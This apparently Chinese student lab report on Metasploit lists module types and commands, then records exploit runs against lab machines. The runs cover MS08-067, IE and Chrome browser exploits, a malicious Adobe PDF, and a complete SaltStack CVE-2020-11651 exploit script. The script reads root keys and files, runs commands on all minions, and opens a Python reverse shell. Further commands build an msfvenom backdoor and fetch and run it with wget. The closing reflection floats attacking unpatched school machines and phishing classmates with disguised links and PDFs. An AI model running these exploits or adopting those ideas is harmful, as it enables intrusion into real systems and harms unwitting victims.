Exp6 MSF应用基础
1 基础知识
目标:掌握metasploit的基本应用方式
1.1 MSF的七种模块
进入/usr/share/metasploit-framework/modules/exploits
即可看到7个模块,其中evasion
是在msf5中更新的,信息比较少
-
Exploit
模块- 是利用发现的安全漏洞或配置弱点对远程目标系统进行攻击,以植入和运行攻击载荷,从而获得对远程目标系统访问权的代码组件。
- 形象点来说就是攻击模块
-
Payload
模块是在渗透成功后促使目标系统运行的一端植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接。实际上,该模块就是计算机集成的针对不同操作系统实现shellcode攻击的ruby代码。
- 三种 payload:/usr/share/metasploit-framework/modules/payloads/
- Single:all-in-one
- Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
- Stages:利用 stager 建立的连接下载的后续payload
- 三种 payload:/usr/share/metasploit-framework/modules/payloads/
-
Encoder
模块- 针对
payload
进行编码,可以通过多种编码手段、多次编码方式有效的改变payload
代码特征 - 不改变
payload
作用,但能对payload
进行加工
- 针对
-
Aux
模块- 能够帮助渗透测试中在进行渗透攻击之前得到的目标系统丰富的情报信息,从而发起更具目标性的精准攻击。
- 主要包括针对各种网络服务的扫描和查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息嗅探、探查敏感信息泄露、Fuzz测试发掘漏洞、实施网络协议欺骗等模块。
-
Post
模块- 支持在渗透攻击取得目标系统远程控制权之后,在受控系统中进行给各样的后渗透攻击动作。
- 这里主要指的是攻击之后可能用到的模块
-
Nops
模块- 是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,最典型的空指令就是空操作,在X86 CPU体系架构平台上的操作码是0x90
- 因为有些代码返回地址很难确认,所以在实际中有时候会填充一大段空指令,便于快速确定返回地址的位置
-
evasion
模块- 对攻击载荷进行”免杀”处理。
- 具体使用方法可见Metasploit Basics for Hackers, Part 24: The New Evasion Modules in Metasploit 5
1.2 核心命令
banner 显示一个很棒的metasploit横幅
cd 更改当前工作目录
color 切换颜色
connect 与主机通信
exit 退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep 管道另一个命令的输出
help 帮助菜单
history 显示命令历史记录
load 加载框架插件
quit 退出控制台
repeat 重复命令列表
route 通过会话路由流量
save 保存活动数据存储
sessions 转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为值
setg 将全局变量设置为值
sleep 在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 查看和操作后台线程
unload 卸载框架插件
unset 取消设置一个或多个特定于上下文的变量
unsetg 取消设置一个或多个全局变量
version 显示框架和控制台库版本号
2 实践过程记录
先关闭靶机防火墙,检测是否机器间是否能ping通,对应端口是否打开,攻击对靶机系统有没有作用
另外,你可能需要这个:Metasploit PSExec执行报错大全
祝你好运
2.0 基本思路
以windows下浏览器漏洞ms06_013_createtextrange为例
- 进入msf模块中对Windows下浏览器的目录
cd /usr/share/metasploit-framework/modules/exploits/windows/browser
,输入ls
可看到可利用的漏洞脚本
一般名字会与利用的角度有关,我猜ms里一般对应自带ie浏览器,还有对应firefox杀毒
vim打开.rb文件,搜你要利用的软件会看到他对应适用的版本.以ms06_013_createtextrange.rb
为例,可以看到这玩意对IE6和IE的Beta 2版本有用
msf控制台进入use后show info可以看到可攻击的版本信息,刚好和我版本一样
还能够看到参数信息
use后可以show payloads看看想用啥payload(别忘加s)
然后按参数配好后exploit就可以,如果生成了sessions,我们还需要输入sessions
命令进入会话
2.1 一个主动攻击实践,尽量使用最新的类似漏洞; (1分)
2.1.1 ms08_067+shell_reverse_tcp
机器 系统 ip
靶机 win server 2000 with SP4 172.16.231.2
攻击机 kali 172.16.229.167
在kai中输入msfconsole
进入msf控制台后输入如下指令,其中set target 0
指自动选择目标系统类型,可以快速匹配
use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp
set LHOST 172.16.229.167
set LPORT 4444
set RHOST 172.16.231.2
set target 0
exploit
攻击成功
2.2一个针对浏览器的攻击,尽量使用最新的类似漏洞;(1分)
2.2.1 ms10_018+bind_tcp
机器 系统 ip
靶机 windows XP Pro English 172.16.227.19
攻击机 kali 172.16.229.167
use exploit/windows/browser/ms10_018_ie_behaviors
set payload windows/meterpreter/bind_tcp
set RHOST 172.16.227.19
set target 0
exploit
输入后显示
[*] Using URL: http://0.0.0.0:8080/xG02eXh
[*] Local IP: http://172.16.229.167:8080/xG02eXh
[*] Server started.
在靶机浏览器中输入http://172.16.229.167:8080/xG02eXh
发现是防火墙没关hhhh啊凎again
这次进入网址后浏览器会直接关闭,攻击机端显示生成会话(忽略那个3)
然后...然后要通过sessions -i [会话号]
进入会话就可以控制靶机了!(别输ls,会把上面的记录刷没的)
*PS:图中的-i -1似乎是随便进一个能进的,未找到具体含义 *
2.2.2 ms06_013_createtextrange
机器 系统 ip
靶机 windows XP Pro English 172.16.227.19
攻击机 kali 172.16.229.167
use exploit/windows/browser/ms06_013_createtextrange
set payload windows/meterpreter/reverse_tcp
set RHOST 172.16.227.19
set target 0
exploit
输入后显示
[*] Started reverse TCP handler on 172.16.229.167:4444
[*] Using URL: http://0.0.0.0:8080/lrpE9vmoYXxsu
[*] Local IP: http://172.16.229.167:8080/lrpE9vmoYXxsu
[*] Server started.
在靶机浏览器中输入http://172.16.229.167:8080/lrpE9vmoYXxsu
网页会从0跑到100,然后浏览器就崩了
输入sessions -i 4
进入靶机,输入ver
查看系统版本,输入pwd
查看路径(路径和上次不一样),输入shell
生成一个新shell,dir查询目录
2.2.3 chrome_filereader_uaf+reverse_tcp(CVE-2019-5786)
先装个x86的win7,我的版本是cn_windows_7_enterprise_x86_dvd_x15-70737.iso(难得中文版能成功)
下载Chrome 链接:https://dl.lancdn.com/landian/soft/chrome/m/,搜72.0.3626.119就行
之后安装chrome,没啥好说的
攻击机端进入msf控制台,输入如下指令
use exploit/windows/browser/chrome_filereader_uaf
set payload windows/meterpreter/reverse_tcp
set URIPATH /
set LHOST 192.168.31.92
exploit
靶机端开cmd输入C:Program FilesGoogleChromeApplication>chrome.exe --no-sandbox
以沙箱关闭的状态执行chrome.exe,在地址栏输入地址http://192.168.31.92:8080
攻击机这边收到了会话,输入sessions 1
进入会话1攻击成功
2.3一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;(1分)
为了方便拖放,最好先装个增强功能先
2.3.1adobe_cooltype_sing+reverse_tcp
机器 系统 ip
靶机 windows XP Pro English 172.16.227.19
攻击机 kali 172.16.229.167
use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.229.167
set LPORT 11214
set FILENAME 20181214.pdf
set target 0
exploit
输入后显示
[*] Creating '20181214.pdf' file...
[+] 20181214.pdf stored at /root/.msf4/local/20181214.pdf
去所在路径找到pdf,放到靶机里,输入如下命令进入监听模块
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.229.167
set LPORT 11214
exploit
这时候发现xp里没有adobe2333,看下rb文件里对应的adobe版本下一个9.3版本
打开靶机里的pdf,攻击机中获得控制权,路径为pdf所在地址
2.3.2winrar_ace+reverse_tcp
在目录里扒拉半天看有没有熟悉的,找到WinRAR主要是担心找不到对应版本的软件
https://blog.csdn.net/whatday/article/details/103918276
2.4成功应用任何一个辅助模块。(1分)
2.4.1ipidseq
机器 系统 ip
靶机 windows XP Pro English 172.16.227.19
攻击机 kali 172.16.229.167
在实际攻击时我们可能不知道具体ip是上面,所以可以适用ipidseq辅助模块扫出ip.由于我的ip是172.16.227.19,所以我就扫172.16.227.10-172.16.227.20,5秒扫不到就断
use auxiliary/scanner/ip/ipidseq
set RHOSTS 172.16.227.10-172.16.227.20
set TIMEOUT 5
exploit
把目标开大一点就可以扫到同局域网下的部分机器了
CVE-2020-11651漏洞利用复现
机器 系统 ip
靶机 Ubuntu18.04 192.168.31.215
攻击机 kali 192.168.31.92
概述
SaltStack:是基于Python开发的一套C/S架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。
漏洞原因:SaltStack的ClearFuncs类处理未经身份验证的请求,并且无意中公开了send_pub()方法,该方法可用于直接在master服务器上创建消息队列,此类消息可用于触发minions以root身份运行任意命令。
ClearFuncs类还公开了_prep_auth_info()方法,该方法返回用于验证master服务器上本地root用户命令的“root key”。可以使用此“root key”在主服务器上远程调用管理命令。这种无意的暴露为远程未经身份验证的攻击者提供了与salt-master相同的根访问权限。因此未经身份验证的远程攻击者可以使用此漏洞执行任意命令。
利用方法:认证绕过漏洞,攻击者通过构造恶意请求,绕过Salt Master的验证逻辑,调用相关未授权函数功能,达到远程命令执行目的。
配置靶机
配置靶机docker,原仓库在GitHub上,自己导入gitee仓库(gitee上先前别人导入的库没有saltstack),如果不能开启docker请加sudo
git clone https://gitee.com/sin29/vulhub.git
cd vulhub/saltstack/CVE-2020-11651
docker-compose up -d
docker ps
在kali端pip安装2019.2.4以前版本salt.由于PyYAML这里会报错,所以添加参数--ignore-installed PyYAML
忽略PyYAML,pip3 install salt==2019.2.3 --ignore-installed PyYAML
,如果速度较慢可以在后面加参数使用清华源pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple salt==2019.2.3
执行python文件内容如下:
# BASE https://github.com/bravery9/SaltStack-Exp
# 微信公众号:台下言书
# -*- coding:utf-8 -*- -
from __future__ import absolute_import, print_function, unicode_literals
import argparse
import os
import sys
import datetime
import salt
import salt.version
import salt.transport.client
import salt.exceptions
DEBUG = False
def init_minion(master_ip, master_port):
minion_config = {
'transport': 'zeromq',
'pki_dir': '/tmp',
'id': 'root',
'log_level': 'debug',
'master_ip': master_ip,
'master_port': master_port,
'auth_timeout': 5,
'auth_tries': 1,
'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
}
return salt.transport.client.ReqChannel.factory(minion_config, crypt='clear')
def check_salt_version():
print("[+] Salt 版本: {}".format(salt.version.__version__))
vi = salt.version.__version_info__
if (vi < (2019, 2, 4) or (3000,) <= vi < (3000, 2)):
return True
else:
return False
def check_connection(master_ip, master_port, channel):
print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, master_port), end='')
sys.stdout.flush()
try:
channel.send({'cmd': 'ping'}, timeout=2)
print(' 33[1;32m可以连接 33[0m')
except salt.exceptions.SaltReqTimeoutError:
print(" 33[1;31m无法连接 33[0m")
sys.exit(1)
def check_CVE_2020_11651(channel):
sys.stdout.flush()
# try to evil
try:
rets = channel.send({'cmd': '_prep_auth_info'}, timeout=3)
except salt.exceptions.SaltReqTimeoutError:
print(" 33[1;32m不存在漏洞 33[0m")
except:
print(" 33[1;32m未知错误 33[0m")
raise
else:
pass
finally:
if rets:
root_key = rets[2]['root']
print(" 33[1;31m存在漏洞 33[0m")
return root_key
return None
def pwn_read_file(channel, root_key, path, master_ip):
# print("[+] Attemping to read {} from {}".format(path, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'wheel',
'fun': 'file_roots.read',
'path': path,
'saltenv': 'base',
}
rets = channel.send(msg, timeout=3)
print(rets['data']['return'][0][path])
def pwn_getshell(channel, root_key, LHOST, LPORT):
msg = {"key": root_key,
"cmd": "runner",
'fun': 'salt.cmd',
"kwarg": {
"fun": "cmd.exec_code",
"lang": "python3",
"code": "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{}",{}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);".format(
LHOST, LPORT)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg, timeout=3)
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
return True
except:
print("something failed")
return False
def pwn_exec(channel, root_key, exec_cmd, master_or_minions):
if master_or_minions == "master":
msg = {"key": root_key,
"cmd": "runner",
'fun': 'salt.cmd',
"kwarg": {
"fun": "cmd.exec_code",
"lang": "python3",
"code": "import subprocess;subprocess.call('{}',shell=True)".format(exec_cmd)
},
'jid': '20200504042611133934',
'user': 'sudo_user',
'_stamp': '2020-05-04T04:26:13.609688'}
try:
response = channel.send(msg, timeout=3)
print("Got response for attempting master shell: " + str(response) + ". Looks promising!")
return True
except:
print("something failed")
return False
if master_or_minions == "minions":
print("Sending command to all minions on master")
jid = "{0:%Y%m%d%H%M%S%f}".format(datetime.datetime.utcnow())
cmd = "/bin/sh -c '{0}'".format(exec_cmd)
msg = {'cmd': "_send_pub", "fun": "cmd.run", "arg": [cmd], "tgt": "*", "ret": "", "tgt_type": "glob",
"user": "root", "jid": jid}
try:
response = channel.send(msg, timeout=3)
if response == None:
return True
else:
return False
except:
return False
#####################################
master_ip=input('目标IP:')
master_port='4506'
channel = init_minion(master_ip, master_port)
try:
root_key = check_CVE_2020_11651(channel)
except:
pass
while master_ip!='':
print('1.测试POC 2.读取文件 3.执行命令(无回显) 4.反弹shell 5.退出')
whattype=input('请选择:')
if whattype=='1':
check_salt_version() # 检查salt版本
check_connection(master_ip, master_port, channel) # 检查连接
root_key = check_CVE_2020_11651(channel) # 读取root key
print(root_key)
elif whattype=='2':
path = input('读取路径:')
try:
pwn_read_file(channel, root_key, path, master_ip) # 读取文件
except:
print('文件不存在')
elif whattype=='3':
print('1.master 2.minions')
exectype = input('选择方式:')
if exectype=='1':
master_or_minions='master'
elif exectype=='2':
master_or_minions = 'minions'
exec_cmd = input('输入命令:')
pwn_exec(channel, root_key, exec_cmd, master_or_minions) # 执行命令
elif whattype=='4':
LHOST = input('反弹到IP:')
LPORT = input('反弹端口:')
pwn_getshell(channel, root_key, LHOST, LPORT) # 反弹shell
elif whattype=='5':
exit()
之后可能会出现连接不上的情况,我又更新了一遍salt版本,windows端用tcping扫描4505、4506端口显示开放,并在靶机上netstat -an
确认4505、4506端口开放后,又能扫出漏洞了
直接输入4反弹可获得shell,输入攻击机ip和未占用端口,再开一个终端,输入nc -lvvp 11214
,能够进入shell
msf
由于我们可以在靶机中执行命令,所以可以将木马传入靶机,并执行木马程序回连攻击机,就可以用msf干些别的事了
输入/etc/init.d/apache2 start
打开攻击机Apache,输入service apache2 status
查看Apache是否开启
使用msf在攻击机中生成木马输入msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.31.92 LPORT=11214 -i 3 -f elf -o test
向靶机传入'wget http://192.168.31.92/test|./test'
指令使其从攻击机上的Apache服务器上下载木马
由于没有执行权限,所以再使用chmod加权限
PS:以上传入指令的操作也可以直接在shell中输入指令
msf控制台开启监听,并执行test,连接成果,可使用sys info查看系统版本
输入ps查看docker内进程,与靶机内进程号对比
通过这个exp,还能直接找到root keyhttps://mp.weixin.qq.com/s/Hq270_2axkWqtyabS3UnRw,不过docker每次开启后root key好像会变化
执行命令python3 CVE-2020-11651_5.py --master 192.168.31.215 -r /etc/passwd
3 实践中的问题
-
Exploit failed [unreachable]: Rex::HostUnreachab[*] Exploit completed, but no session was created.
将端口修改回默认的4444后报
This most likely means a previous exploit attempt caused the service to crash
win10并不在攻击范围内
-
靶机xp没有ip链接
重装winxp,添加nat和桥接网卡,从控制面板中安装网络驱动
-
445端口未打开
通过在注册表
HKEY_LOCAL_MACHINE System CurrentControlSet Services NetBT Parameters
位置新建DWORDSMBDeviceEnabled
参数值为1并重启解决(疑似设置成``SMBDevice`也可以) -
完成攻击但会话未建立
疑似是中文版xp的问题,不想再装xp了,更换靶机为EN_WIN2000_SRV_SP4
4 问题回答
用自己的话解释什么是exploit,payload,encode?
答:
- exploit:攻击者利用现有配置进行攻击或生成攻击文件的过程
- payload:攻击者在靶机上执行的一串代码
- encode:编码,能够消除坏字符,也能隐藏一些会被发现的恶意程序特征
离实战还缺些什么技术或步骤?
答:
- 攻击受系统、软件版本的限制比较大
- 一些攻击需要被害人配合才可以
5 实验总结与体会
通过这次实验,我对MSF的应用感觉更加得心应手了,知道我们用MSF能干啥、要干啥、怎么干,收获还是非常大的,感觉实验3没解决的几个问题现在都有些头绪了,不过具体的攻击过程还算得了解,找时间看一下0x59。实验过程中除了一直在装环境有些难受之外,其他的还算顺利,现在就给我爸发个pdf玩玩。
另外,感觉实验环境和真实环境还是有很大差距,不过我们可以找一些常年不更新系统的主机(如学校机房)或常年无需更新的软件(如WinRAR)进行攻击。如浏览器输入网址、点开PDF之类的操作等需要人配合的攻击也不是不能进行,如果在学校的话也不是不能操作,比如发链接说是形策网址、发PDF说是热乎的报告、把压缩包命名成“计组试题”放在打印店的电脑上之类的话,应该有人会被骗吧:p